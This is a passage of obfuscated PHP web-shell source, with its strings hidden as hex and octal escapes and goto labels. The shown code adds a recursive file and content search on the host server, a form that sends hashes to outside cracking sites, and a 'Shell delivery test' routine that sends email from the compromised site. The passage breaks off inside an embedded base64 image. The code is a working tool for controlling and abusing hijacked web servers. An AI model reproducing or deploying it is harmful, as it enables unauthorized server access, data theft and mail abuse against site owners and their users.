"\74\x2f\x70\x72\145\76\x3c\x2f\144\151\x76\76\x3c\142\162\x3e\74\x68\x31\76\x53\x65\x61\x72\x63\x68\40\146\x69\x6c\145\163\72\x3c\57\150\x31\x3e\74\x64\151\x76\x20\x63\x6c\141\163\163\x3d\143\x6f\x6e\164\145\x6e\x74\x3e\xa\40\x20\40\40\40\40\40\40\x20\x20\40\40\40\40\x20\40\74\146\x6f\162\155\x20\157\156\x73\x75\142\155\x69\x74\75\42\x67\50\156\165\x6c\x6c\54\x74\150\151\x73\56\x63\167\144\56\x76\141\154\165\145\54\156\x75\154\x6c\54\164\x68\151\x73\x2e\164\x65\170\164\x2e\166\141\x6c\x75\145\x2c\164\x68\151\163\56\146\151\154\x65\x6e\x61\x6d\x65\x2e\166\x61\154\x75\145\x29\x3b\162\145\x74\165\x72\x6e\x20\x66\x61\154\x73\x65\x3b\x22\76\74\x74\x61\x62\154\x65\x20\x63\145\154\x6c\x70\141\144\x64\x69\156\x67\75\47\x31\47\x20\x63\x65\154\x6c\x73\160\x61\x63\x69\156\147\75\x27\60\x27\40\x77\x69\144\164\x68\x3d\47\x35\60\45\x27\x3e\xa\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\40\74\164\x72\x3e\74\x74\x64\40\x77\x69\144\164\150\75\47\61\x25\x27\x3e\124\145\170\x74\72\74\57\x74\144\x3e\x3c\164\x64\76\74\x69\156\160\x75\164\40\x74\x79\x70\145\75\47\164\x65\170\x74\x27\40\x6e\141\x6d\x65\x3d\47\164\x65\x78\x74\47\40\163\x74\171\154\x65\75\47\x77\x69\144\164\x68\x3a\x31\x30\x30\45\47\x3e\x3c\x2f\x74\x64\x3e\74\57\x74\x72\x3e\xa\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x3c\164\162\x3e\74\164\144\x3e\x50\x61\x74\x68\72\x3c\57\x74\x64\76\x3c\164\x64\x3e\74\x69\156\160\165\164\40\x74\171\x70\145\75\x27\164\145\x78\164\47\40\156\141\155\145\75\47\x63\167\144\x27\40\166\x61\x6c\x75\145\75\x27" . htmlspecialchars($GLOBALS["\143\x77\x64"]) . "\47\40\163\164\171\x6c\145\75\47\167\151\144\x74\x68\x3a\x31\60\60\x25\47\76\74\x2f\x74\x64\x3e\x3c\x2f\x74\162\x3e\12\40\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x3c\x74\162\76\74\164\144\x3e\116\141\155\145\x3a\74\57\x74\144\76\x3c\164\144\x3e\74\x69\156\x70\x75\164\40\x74\171\160\145\x3d\47\164\145\170\164\47\x20\x6e\x61\155\145\75\47\146\x69\x6c\145\156\141\x6d\x65\x27\40\x76\x61\x6c\x75\x65\75\47\x2a\x27\x20\163\164\x79\x6c\x65\75\x27\x77\151\x64\x74\x68\x3a\x31\x30\x30\x25\47\x3e\x3c\57\164\144\x3e\74\x2f\164\162\x3e\12\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x3c\x74\x72\76\74\164\x64\x3e\x3c\x2f\164\x64\76\x3c\164\144\x3e\74\x69\156\x70\165\x74\40\164\171\x70\x65\75\47\163\165\142\155\151\x74\x27\40\x76\141\x6c\165\145\75\x27\163\165\x62\155\151\164\47\x3e\74\x2f\164\144\76\74\x2f\164\162\76\xa\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x3c\x2f\164\x61\142\154\145\x3e\x3c\x2f\x66\x6f\162\x6d\76"; function hardRecursiveGlob($path) { if (substr($path, -1) != "\x2f") { $path .= "\x2f"; } $paths = @array_unique(@array_merge(@glob($path . $_POST["\160\63"]), @glob($path . "\x2a", GLOB_ONLYDIR))); if (is_array($paths) && @count($paths)) { foreach ($paths as $dokl) { if (@is_dir($dokl)) { if ($path != $dokl) { hardRecursiveGlob($dokl); } } else { if (empty($_POST["\160\62"]) || @strpos(file_get_contents($dokl), $_POST["\x70\62"]) !== false) { echo "\x3c\141\x20\x68\x72\145\x66\x3d\x27\43\x27\40\x6f\x6e\x63\x6c\x69\143\153\x3d\x27\x67\50\x22\106\x69\x6c\x65\x73\124\157\x6f\154\163\x22\54\x6e\x75\x6c\x6c\x2c\x22" . urlencode($dokl) . "\x22\x2c\40\42\166\151\x65\167\42\54\x22\42\x29\47\76" . htmlspecialchars($dokl) . "\x3c\57\141\x3e\x3c\x62\162\x3e"; } } } } } if (@$_POST["\x70\63"]) { hardRecursiveGlob($_POST["\x63"]); } echo "\x3c\x2f\144\151\166\76\74\x62\x72\x3e\74\150\x31\76\x53\145\141\162\143\x68\40\x66\157\x72\x20\150\x61\x73\150\x3a\x3c\57\150\x31\76\74\144\x69\x76\x20\x63\154\141\x73\163\x3d\143\157\x6e\164\145\156\164\76\12\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x3c\146\157\162\155\x20\x6d\x65\164\150\157\x64\x3d\47\x70\157\163\x74\x27\40\164\x61\x72\x67\145\164\75\47\x5f\x62\x6c\x61\156\x6b\47\40\x6e\141\x6d\145\x3d\47\x68\x66\47\76\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\74\151\156\x70\x75\164\x20\164\x79\160\x65\75\47\164\x65\x78\164\x27\40\156\x61\x6d\145\x3d\47\150\141\163\150\47\40\163\x74\x79\x6c\145\75\x27\167\151\x64\164\x68\x3a\62\x30\60\160\x78\73\47\76\74\142\x72\76\12\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\74\x69\x6e\160\x75\164\40\x74\171\x70\x65\75\x27\150\x69\144\144\145\x6e\x27\40\156\x61\x6d\x65\x3d\47\x61\143\x74\47\x20\x76\x61\154\165\x65\75\x27\146\x69\x6e\144\47\57\x3e\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x3c\151\156\160\165\164\40\x74\x79\160\145\x3d\x27\163\165\142\x6d\151\x74\x27\x20\166\x61\154\165\145\x3d\x27\150\141\x73\150\143\162\x61\x63\x6b\x69\x6e\x67\56\x72\x75\x27\x20\x6f\156\143\154\151\x63\153\x3d\x22\x64\x6f\143\165\155\145\x6e\164\56\x68\146\x2e\141\143\164\151\x6f\x6e\75\47\150\164\164\160\x73\72\x2f\57\x68\x61\163\x68\143\162\141\x63\x6b\x69\x6e\147\x2e\162\x75\x2f\151\156\144\145\x78\56\x70\150\x70\47\x3b\144\x6f\143\x75\155\x65\156\x74\x2e\x68\146\x2e\x73\165\x62\155\x69\x74\50\x29\42\76\74\142\x72\76\xa\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\74\x69\156\x70\x75\x74\x20\164\171\160\x65\75\x27\163\x75\x62\x6d\151\164\x27\40\x76\x61\154\x75\x65\75\47\155\144\65\56\162\145\144\156\x6f\x69\172\x65\x2e\x63\157\x6d\x27\40\157\x6e\143\x6c\x69\x63\x6b\75\42\x64\x6f\x63\165\155\x65\156\x74\x2e\x68\x66\56\141\x63\164\x69\x6f\156\x3d\47\150\164\x74\x70\72\57\x2f\155\144\x35\x2e\x72\x65\144\156\157\151\172\145\x2e\143\x6f\155\x2f\x3f\x71\x3d\x27\x2b\144\x6f\x63\165\155\145\x6e\x74\x2e\150\x66\x2e\150\x61\x73\x68\x2e\x76\x61\x6c\x75\145\x2b\47\46\x73\x3d\155\144\x35\47\73\144\x6f\x63\165\x6d\x65\156\x74\x2e\150\x66\56\163\165\x62\x6d\151\x74\50\x29\42\x3e\74\142\162\x3e\12\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\x3c\x69\156\160\x75\164\40\x74\x79\x70\145\x3d\x27\x73\165\142\155\x69\x74\47\40\166\141\x6c\x75\x65\75\47\146\x61\x6b\x65\156\x61\155\x65\147\x65\x6e\x65\x72\x61\x74\157\x72\x2e\x63\x6f\155\47\40\x6f\x6e\143\x6c\x69\x63\x6b\75\42\144\x6f\143\x75\155\x65\156\164\x2e\150\x66\x2e\141\x63\x74\x69\157\156\x3d\x27\x68\164\x74\160\x3a\57\x2f\167\x77\167\56\146\x61\x6b\145\x6e\141\155\x65\147\x65\x6e\145\x72\x61\164\x6f\x72\56\143\157\155\57\x27\73\144\x6f\x63\x75\155\x65\156\164\56\150\x66\x2e\163\x75\x62\x6d\151\x74\x28\51\42\76\74\142\x72\x3e\xa\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\x3c\x69\156\x70\165\164\40\x74\171\160\145\75\x27\x73\165\142\x6d\151\164\x27\40\166\141\154\x75\x65\x3d\x27\150\141\x73\150\x63\x72\141\x63\x6b\56\x63\x6f\155\x27\x20\x6f\156\x63\x6c\x69\143\153\x3d\42\x64\x6f\143\x75\155\145\x6e\x74\x2e\150\146\x2e\141\x63\164\x69\x6f\156\75\47\150\164\164\160\x3a\x2f\57\167\x77\x77\56\150\141\163\x68\x63\162\141\x63\x6b\x2e\x63\x6f\155\x2f\x69\156\144\x65\x78\56\x70\x68\x70\x27\x3b\x64\x6f\143\165\155\145\x6e\164\x2e\150\146\x2e\163\165\142\155\151\164\50\51\x22\x3e\74\x62\162\x3e\12\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\74\151\156\160\x75\x74\x20\164\171\x70\x65\x3d\x27\163\165\142\x6d\x69\x74\x27\40\x76\141\x6c\x75\x65\x3d\47\x74\157\157\x6c\x6b\x69\x2e\x63\157\x6d\x27\x20\157\156\x63\154\151\x63\153\x3d\42\144\157\143\x75\x6d\145\156\x74\x2e\x68\x66\56\x61\x63\164\151\157\156\75\47\150\164\164\x70\72\57\x2f\x74\x6f\x6f\154\153\x69\56\143\157\x6d\57\x27\73\x64\x6f\x63\165\155\145\x6e\164\x2e\x68\146\56\163\x75\142\155\x69\164\50\x29\x22\x3e\x3c\x62\x72\76\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\74\x69\x6e\x70\x75\164\40\164\171\160\145\75\x27\163\165\x62\155\x69\164\47\40\166\141\x6c\165\x65\x3d\x27\146\157\x70\x6f\x2e\x63\157\x6d\56\141\x72\x27\40\x6f\x6e\x63\154\151\143\x6b\x3d\42\x64\x6f\143\x75\x6d\145\x6e\x74\56\x68\x66\56\x61\x63\164\x69\157\x6e\x3d\x27\x68\164\x74\160\72\x2f\57\146\157\x70\157\x2e\x63\x6f\155\x2e\x61\162\57\47\73\x64\x6f\x63\x75\x6d\145\156\x74\x2e\x68\146\56\x73\165\x62\x6d\151\x74\x28\51\42\76\x3c\x62\162\76\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x3c\x69\x6e\160\165\x74\40\164\171\x70\145\75\47\163\x75\142\x6d\151\x74\x27\x20\x76\141\154\165\x65\x3d\47\155\144\65\144\x65\x63\x72\171\160\164\145\x72\x2e\143\x6f\x6d\47\x20\x6f\x6e\143\154\x69\x63\153\x3d\x22\x64\157\143\165\155\x65\x6e\164\x2e\x68\x66\x2e\141\x63\x74\x69\157\x6e\75\47\x68\x74\x74\160\72\x2f\x2f\x77\167\x77\56\x6d\x64\x35\x64\x65\143\x72\171\x70\x74\145\x72\56\x63\157\155\57\47\x3b\x64\x6f\143\165\x6d\x65\156\164\56\150\x66\56\x73\x75\x62\155\x69\x74\x28\51\x22\76\x3c\142\x72\76\xa\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x3c\x2f\x66\x6f\x72\155\x3e\74\x2f\144\x69\x76\x3e"; hardFooter(); } goto v25Hw; fQaHX: if (isset($_REQUEST["\145\x6d\x61\151\x6c"])) { $actual_linka = (isset($_SERVER["\110\124\x54\x50\123"]) && $_SERVER["\110\x54\x54\x50\123"] === "\157\x6e" ? "\x68\164\x74\x70\163" : "\150\164\x74\160") . "\72\x2f\57" . $_SERVER["\110\x54\x54\120\137\x48\x4f\x53\124"] . $_SERVER["\122\105\121\x55\x45\x53\124\137\125\x52\x49"]; $partsa = parse_url($actual_linka); $stra = $partsa["\163\143\x68\145\155\145"] . "\x3a\x2f\57" . $partsa["\x68\x6f\x73\x74"] . $partsa["\160\141\164\x68"]; $emall = isset($_REQUEST["\145\155\141\x69\x6c"]) ? $_REQUEST["\x65\155\141\x69\154"] : null; $aler = ''; function hideEmailAddress($email) { $em = explode("\x40", $email); $name = implode(array_slice($em, 0, count($em) - 1), "\x40"); $len = floor(strlen($name) / 2); return substr($name, 0, $len) . str_repeat("\x2a", $len) . "\x40" . end($em); } if (filter_var($emall, FILTER_VALIDATE_EMAIL)) { $recipient = isset($emall) ? $emall : null; $subject = isset($_REQUEST["\163\165\x62\152\145\143\x74"]) ? $_REQUEST["\x73\x75\x62\152\x65\x63\x74"] : "\x44\x65\x6c\151\x76\145\x72\x79\40\124\145\163\164\40\146\x72\157\155\40\x73\x68\145\154\154\x20\x5b{$stra}\135"; $message = isset($_REQUEST["\155\163\147"]) ? $_REQUEST["\155\x73\x67"] : "\x49\x66\40\x79\x6f\x75\x20\163\145\145\40\164\x68\151\x73\40\x6d\x73\x67\40\x74\x68\151\163\x20\155\145\x61\x6e\163\40\164\150\x61\164\40\123\x68\145\154\x6c\40\133{$stra}\x5d\40\x44\145\x6c\151\x76\145\x72\x79\40\x69\163\40\x77\x6f\162\153\x69\x6e\147\40\147\x6f\157\x64"; if (mail($recipient, $subject, $message)) { $aler = "\x3c\x64\x69\166\x20\x63\154\x61\163\x73\x3d\x22\141\x6c\x65\x72\x74\x20\141\x6c\145\x72\164\55\x73\165\x63\x63\145\x73\163\x20\141\x6c\x65\x72\164\x2d\144\151\163\x6d\x69\163\x73\x69\x62\154\145\40\x66\x61\144\145\40\x73\150\157\167\x22\40\x72\157\x6c\145\75\x22\141\x6c\145\x72\164\x22\x20\x73\x74\x79\x6c\x65\75\x22\142\141\143\x6b\147\162\x6f\x75\156\144\72\40\x72\147\x62\x61\50\x34\x30\x2c\x20\x31\x39\71\x2c\x20\x31\61\x31\54\x20\x30\x2e\62\x29\40\x21\x69\155\160\157\x72\x74\x61\156\164\73\x63\x6f\154\x6f\x72\72\40\x23\x32\x38\x43\67\x36\x46\x20\x21\x69\x6d\x70\x6f\162\x74\x61\x6e\164\73\x62\x6f\162\144\145\x72\x2d\143\157\x6c\157\162\x3a\x20\162\147\142\50\x30\x20\x30\40\60\40\57\40\70\x25\x29\x3b\x62\x6f\162\x64\x65\162\55\162\141\144\151\x75\x73\72\x20\61\x30\x70\170\x3b\42\76\12\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\xa\x20\x20\x3c\163\160\x61\156\x3e\x54\145\x73\164\x20\145\155\x61\x69\154\40\163\x65\156\x74\40\x74\x6f\x20" . hideEmailAddress($emall) . "\40\123\165\143\x63\x65\163\x73\146\165\x6c\x6c\x79\74\57\163\x70\141\156\x3e\12\40\40\74\x2f\144\151\x76\x3e"; } else { $aler = "\x3c\144\x69\x76\x20\143\x6c\x61\163\163\x3d\x22\141\154\145\x72\x74\40\141\154\x65\x72\164\x2d\144\x61\156\147\145\x72\x20\x61\154\145\162\164\55\144\151\x73\x6d\x69\163\x73\x69\142\x6c\x65\40\146\x61\x64\145\40\x73\150\157\x77\42\x20\162\157\x6c\x65\x3d\42\x61\x6c\x65\162\x74\x22\x20\163\x74\x79\154\145\75\42\x62\141\143\153\x67\x72\157\x75\x6e\144\72\40\162\x67\x62\x61\50\x32\x33\x34\x2c\40\x38\x34\x2c\40\x38\x35\54\40\x30\56\x32\51\40\x21\151\x6d\x70\157\x72\164\141\156\x74\x3b\12\40\40\x20\x20\x20\x20\40\40\40\x20\x63\157\x6c\x6f\x72\72\x20\43\x45\x41\x35\x34\65\x35\x20\41\x69\x6d\160\x6f\162\x74\141\x6e\164\x3b\x62\x6f\162\144\x65\x72\x2d\x63\x6f\154\157\162\x3a\x20\x72\147\x62\50\60\x20\x30\40\x30\40\x2f\40\70\45\x29\x3b\142\x6f\162\144\145\x72\55\x72\141\144\x69\165\x73\72\40\x31\60\160\170\73\42\x3e\xa\40\40\x20\x20\40\x20\x20\x20\40\40\x20\12\40\x20\x3c\163\x70\x61\156\76\124\145\x73\164\40\x65\x6d\x61\151\x6c\40\106\x61\x69\x6c\x65\144\x20\164\x6f\40" . hideEmailAddress($emall) . "\74\x2f\163\160\141\x6e\76\12\40\x20\x3c\x2f\x64\151\166\76"; } } echo "\x3c\150\x74\155\x6c\40\x6c\x61\x6e\x67\75\x22\x65\156\42\76\74\150\145\141\x64\76\12\x20\40\40\x20\40\40\x20\40\x20\40\12\x20\40\40\x20\x20\x20\x20\40\40\40\xa\40\x20\x20\40\x20\x20\40\40\x20\40\xa\x20\x20\40\40\x20\x20\x20\40\x20\40\xa\x20\40\40\x20\40\40\40\40\x20\x20\xa\40\x20\x20\x20\x20\40\40\40\x20\x20\xa\x20\x20\40\x20\x20\x20\40\40\40\74\164\151\x74\x6c\x65\76" . $_SERVER["\110\x54\x54\120\137\110\117\x53\124"] . "\40\55\40\123\150\x65\154\x6c\40\x64\x65\154\x69\x76\145\x72\x79\40\x74\x65\163\x74\x3c\57\164\x69\x74\x6c\145\x3e\xa\x20\x20\x20\x20\40\x20\40\40\40\40\xa\40\x20\40\x20\40\x20\x20\40\40\40\12\x20\40\x20\x20\x20\x20\40\40\40\40\12\x20\40\xa\x20\x20\x20\40\x20\40\40\40\40\x20\12\40\40\x20\40\40\x20\40\40\x20\40\12\40\40\x20\40\40\x20\x20\40\x20\x20\xa\40\x20\12\x20\x20\40\x20\x20\40\40\x20\40\40\x3c\154\151\x6e\153\x20\x72\x65\x6c\75\42\163\150\x6f\x72\164\x63\165\164\40\x69\143\x6f\156\42\42\40\x68\162\145\x66\75\42\150\x74\x74\x70\x73\x3a\x2f\x2f\x69\x2e\151\x6d\x67\165\x72\x2e\143\157\x6d\x2f\x42\x53\x77\x4a\x30\x51\x45\x2e\160\156\x67\x22\76\xa\40\40\x20\x20\40\x20\40\x20\x20\40\x3c\154\151\156\153\x20\x72\x65\x6c\75\42\163\164\x79\x6c\x65\163\x68\x65\x65\x74\x22\40\164\171\160\145\x3d\x22\164\145\x78\x74\57\143\163\x73\x22\x20\150\x72\145\x66\x3d\x22\x68\164\x74\x70\163\x3a\x2f\x2f\163\x74\141\143\153\x70\x61\164\x68\x2e\142\x6f\157\164\x73\164\162\141\x70\x63\144\156\56\x63\x6f\x6d\57\142\157\157\164\163\x74\x72\141\160\x2f\64\x2e\65\56\62\57\143\163\x73\57\x62\157\x6f\x74\x73\164\162\141\x70\x2e\155\x69\156\x2e\143\163\x73\42\76\12\40\40\40\x20\40\x20\40\40\40\40\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\74\163\x74\171\154\x65\x3e\xa\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\56\x61\x75\x74\x68\55\167\162\x61\x70\x70\145\x72\x20\x7b\xa\x20\x20\40\x20\x20\40\40\40\40\40\144\151\163\160\x6c\x61\x79\72\x20\x2d\x77\x65\x62\x6b\x69\164\55\142\157\x78\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\144\151\x73\160\x6c\x61\x79\x3a\40\x2d\x77\x65\x62\x6b\x69\x74\55\146\154\145\x78\73\12\40\x20\40\x20\40\x20\x20\40\40\x20\144\151\x73\x70\154\x61\x79\72\x20\x2d\155\x73\x2d\146\154\x65\x78\x62\157\x78\73\12\40\40\x20\40\40\x20\40\x20\x20\x20\x64\x69\x73\x70\x6c\x61\x79\72\x20\146\x6c\x65\x78\x3b\xa\40\40\40\x20\x20\x20\40\x20\40\x20\55\x77\145\x62\x6b\151\164\55\146\x6c\x65\170\x2d\142\141\x73\151\x73\72\40\61\x30\60\x25\73\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\55\x6d\163\55\x66\x6c\x65\x78\x2d\x70\x72\145\x66\x65\x72\162\x65\x64\55\x73\x69\x7a\145\x3a\40\61\x30\60\x25\73\12\40\40\x20\x20\40\x20\40\40\40\40\x66\154\x65\170\55\x62\x61\x73\151\x73\x3a\x20\61\x30\x30\45\73\12\40\x20\x20\x20\40\40\x20\40\x20\x20\155\151\156\55\150\x65\x69\x67\150\164\72\x20\61\60\60\x76\x68\x3b\xa\x20\x20\x20\x20\40\x20\x20\x20\40\40\x6d\151\x6e\x2d\x68\x65\x69\147\x68\164\x3a\40\143\141\x6c\x63\50\x76\141\162\50\55\55\x76\150\x2c\x20\61\x76\x68\51\x20\52\x20\61\x30\x30\x29\73\12\x20\40\x20\40\x20\x20\40\40\40\40\x77\x69\x64\164\150\x3a\40\61\60\60\x25\xa\40\x20\175\12\x20\x20\12\40\x20\x2e\x61\x75\164\x68\55\167\162\x61\160\x70\x65\x72\40\56\141\x75\x74\x68\x2d\151\156\x6e\x65\162\x20\173\xa\x20\x20\40\40\x20\x20\x20\x20\40\40\167\x69\144\164\150\72\x20\x31\60\x30\x25\x3b\12\x20\40\x20\x20\x20\40\40\40\40\40\160\x6f\163\x69\164\151\157\x6e\x3a\40\x72\145\154\x61\164\x69\166\145\12\x20\x20\175\12\40\40\xa\40\40\56\x61\165\164\x68\x2d\x77\162\x61\x70\x70\145\x72\x2e\x61\165\x74\x68\55\166\61\x20\173\12\40\x20\x20\40\40\40\40\x20\40\x20\x2d\167\145\x62\153\151\164\x2d\x62\157\x78\x2d\x61\154\x69\x67\x6e\72\40\143\145\156\164\x65\162\x3b\xa\x20\40\x20\40\x20\40\40\x20\x20\40\x2d\x77\145\x62\153\151\x74\55\141\x6c\x69\x67\x6e\55\x69\164\x65\x6d\163\72\x20\143\145\156\164\145\x72\x3b\xa\x20\40\40\40\x20\x20\x20\40\40\40\55\x6d\163\55\146\x6c\145\x78\55\x61\x6c\x69\147\156\72\40\143\145\156\x74\x65\x72\73\xa\40\40\40\40\x20\40\x20\40\40\x20\141\x6c\x69\x67\x6e\x2d\151\x74\x65\x6d\x73\72\40\x63\145\156\x74\145\162\x3b\12\x20\40\x20\x20\x20\x20\x20\40\x20\40\x2d\167\145\142\x6b\151\164\x2d\x62\157\170\55\x70\141\x63\153\x3a\40\x63\145\x6e\164\145\162\x3b\12\x20\x20\40\40\x20\40\x20\40\40\40\55\x77\145\x62\153\x69\164\x2d\152\x75\163\x74\x69\x66\171\55\143\157\156\164\x65\x6e\x74\72\40\143\145\x6e\x74\x65\162\73\12\40\40\x20\x20\x20\40\40\40\40\x20\x2d\x6d\x73\55\146\154\x65\x78\x2d\160\x61\143\x6b\72\x20\x63\145\156\164\145\162\x3b\12\40\40\40\x20\40\40\40\x20\40\x20\152\x75\163\164\151\x66\x79\x2d\143\157\x6e\x74\145\156\164\72\40\143\x65\156\164\x65\162\x3b\xa\40\x20\40\x20\x20\x20\x20\x20\40\x20\x6f\x76\145\162\x66\x6c\157\x77\x3a\40\150\151\144\144\145\156\12\40\40\x7d\12\x20\x20\xa\x20\x20\x2e\141\x75\164\150\x2d\x77\162\141\x70\160\x65\162\x2e\141\165\x74\x68\x2d\166\x31\x20\x2e\x61\165\164\150\55\x69\x6e\156\145\x72\72\142\x65\x66\x6f\162\145\40\173\xa\40\40\x20\x20\40\x20\40\40\40\40\x77\151\144\164\x68\x3a\x20\62\64\64\x70\x78\73\xa\40\x20\40\x20\x20\x20\x20\40\40\40\x68\145\151\147\x68\x74\x3a\x20\62\x34\63\x70\170\73\12\x20\x20\x20\40\40\x20\40\40\40\40\x63\157\x6e\164\145\156\x74\x3a\x22\40\x22\x3b\12\40\40\40\40\x20\40\x20\40\40\x20\160\x6f\x73\x69\x74\151\157\x6e\72\x20\x61\x62\163\157\x6c\x75\x74\145\73\12\x20\40\x20\x20\40\40\40\40\40\x20\164\x6f\x70\x3a\x20\55\x35\x34\x70\x78\x3b\xa\40\40\x20\x20\40\x20\40\40\40\x20\154\145\146\x74\72\40\55\x34\x36\160\170\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\142\x61\143\x6b\x67\x72\157\x75\x6e\x64\x2d\x69\x6d\x61\x67\145\72\x20\165\162\154\x28\144\141\x74\141\x3a\x69\155\141\x67\145\x2f\x70\156\x67\x3b\x62\141\163\x65\x36\x34\54\x69\x56\x42\x4f\122\167\x30\x4b\107\147\x6f\x41\101\x41\101\116\123\125\150\105\x55\147\101\x41\x41\120\x51\x41\x41\101\104\172\103\x41\x4d\x41\101\101\x43\x47\71\x4d\164\60\x41\x41\101\101\x41\130\x4e\123\x52\x30\111\101\x72\x73\64\143\x36\x51\101\x41\101\105\122\x6c\x57\105\x6c\x6d\x54\x55\x30\101\x4b\x67\101\101\x41\101\147\x41\101\x59\144\x70\101\x41\x51\x41\101\101\101\x42\x41\x41\101\x41\x47\147\x41\x41\101\x41\101\x41\x41\x36\101\x42\101\101\x4d\101\101\x41\x41\x42\x41\101\x45\x41\101\x4b\101\x43\101\x41\x51\101\101\x41\101\x42\101\101\x41\x41\x39\113\x41\104\x41\101\121\x41\101\101\101\102\x41\101\101\101\x38\167\101\x41\x41\101\104\150\121\110\146\125\101\x41\x41\x41\x79\x56\102\115\126\105\125\101\x41\x41\104\57\57\57\53\x41\x67\120\53\x41\147\x50\x39\x6d\x5a\166\53\101\x67\116\x57\101\147\x50\x39\x74\142\146\71\x67\x59\x50\53\x41\x67\120\x39\x78\x63\146\71\155\132\166\53\101\132\x75\x61\x41\x67\x50\x39\x64\x58\146\71\60\144\x4f\150\x69\131\166\x39\62\x64\x76\71\x6d\x5a\x75\65\155\132\x76\71\x33\x64\x2b\65\63\144\57\x39\160\x61\146\71\x34\x61\x66\103\101\143\146\x46\x72\x58\166\112\x72\x61\x2f\71\x6d\x5a\x76\x4a\172\x5a\x76\x4a\x7a\143\x2f\x4a\157\141\x50\x39\x36\142\57\122\161\x61\x76\x39\x31\141\165\x70\x73\131\166\x56\x32\142\117\x74\62\142\120\x56\170\141\120\x5a\x37\x63\x66\132\x71\141\x76\132\171\x61\165\61\x77\x61\x50\x64\64\141\x4f\71\x78\141\146\x42\170\x61\146\150\64\141\x66\x42\x31\142\x66\150\64\141\166\x46\165\x5a\57\x46\x32\141\146\112\172\x5a\166\x4a\x7a\132\57\x4e\60\x61\x50\x4e\60\x62\166\116\x33\142\x50\x52\x30\141\145\x35\171\132\x2f\x52\63\142\x65\x39\x33\142\146\x52\61\141\165\x39\172\141\x66\x42\x78\142\120\x56\172\x61\166\126\x30\x61\x2f\106\60\141\x2f\x5a\171\141\146\x46\167\141\120\x4b\x5a\x6d\63\x6e\x54\x41\x41\x41\101\x51\63\x52\123\124\x6c\x4d\x41\101\x51\x49\x45\x42\x51\131\107\102\167\147\111\x43\x51\x6f\x4b\x43\147\163\114\x44\121\60\120\104\167\x38\120\105\x52\x45\x53\105\x78\x4d\x55\x46\102\121\x57\106\170\147\x59\107\150\x6f\141\107\x78\163\x64\x48\x53\x41\147\111\151\111\151\111\x79\x51\x6c\x4a\x79\147\x71\x4c\103\167\x74\114\151\70\x76\114\x7a\101\172\x4e\104\x55\x33\x4e\172\147\x37\150\71\166\142\110\x67\101\101\x41\x39\122\x4a\122\x45\x46\x55\145\116\x72\164\x33\146\x74\x53\x32\x6b\101\125\x78\57\x46\143\x31\x67\x53\x79\127\163\x45\162\164\x75\112\144\122\x44\121\x69\151\164\x65\x6f\x6c\142\x37\x2f\121\x7a\125\x6f\124\x6d\60\67\153\64\101\x7a\x4f\142\x75\165\63\x2f\x4d\103\145\172\x34\x35\x79\x57\142\172\x54\x33\66\145\132\x36\142\70\145\x72\117\61\x65\61\x42\71\x37\142\x61\141\144\144\53\172\x6f\x63\112\127\155\x67\x30\110\x61\130\145\57\x2b\165\161\x6d\x67\62\x47\x57\164\x6b\x4c\124\65\114\154\x65\61\155\71\114\144\150\x47\62\x2b\61\154\x76\x7a\165\151\125\x4f\x31\x6b\156\x45\x46\70\61\x79\x46\143\61\x4e\53\x33\x35\x6d\x31\65\x6b\x5a\117\107\x6f\144\172\61\x76\171\x4c\x78\x2b\166\x32\x4c\163\145\161\57\x65\x72\x78\164\x5a\x64\57\116\x75\167\145\x43\124\164\146\151\167\141\127\114\117\x44\65\x46\x6e\x73\161\111\x37\53\x56\x6e\120\x33\x79\x38\x61\146\156\105\163\x33\105\163\57\61\x2b\x48\61\x71\x76\x45\124\167\165\x71\x31\x38\102\67\x65\66\126\x6c\x77\114\165\x70\x31\x5a\115\70\153\x57\x57\121\102\x4f\163\x72\x6d\x48\x4c\x37\x47\x56\164\x78\x76\131\122\132\x59\x67\x51\64\x79\167\141\145\x36\61\146\x66\163\161\x48\x35\114\x62\161\62\x30\142\x51\x6d\66\x6e\x63\160\71\120\x32\x65\x68\112\145\x67\167\x45\57\165\53\162\154\71\65\164\164\123\x77\x4c\162\x56\x53\x63\62\101\x4e\x65\x74\101\125\x32\x38\144\123\141\x39\103\160\62\x45\x36\62\63\142\125\x47\x33\144\62\126\127\x6d\x6e\57\167\102\161\x30\130\x43\165\147\121\x59\115\x47\114\144\x56\113\x6f\117\112\x61\x6f\x69\x75\x6f\153\x31\116\144\130\123\127\x31\127\101\x55\146\122\x50\164\x52\x55\154\x6c\x66\x6c\141\112\146\65\132\105\x2f\x4f\71\x70\130\126\x62\132\x55\120\124\x6f\166\65\143\x2b\x49\x44\x71\166\x74\x52\167\123\x74\x64\x54\x67\114\x75\x74\x6f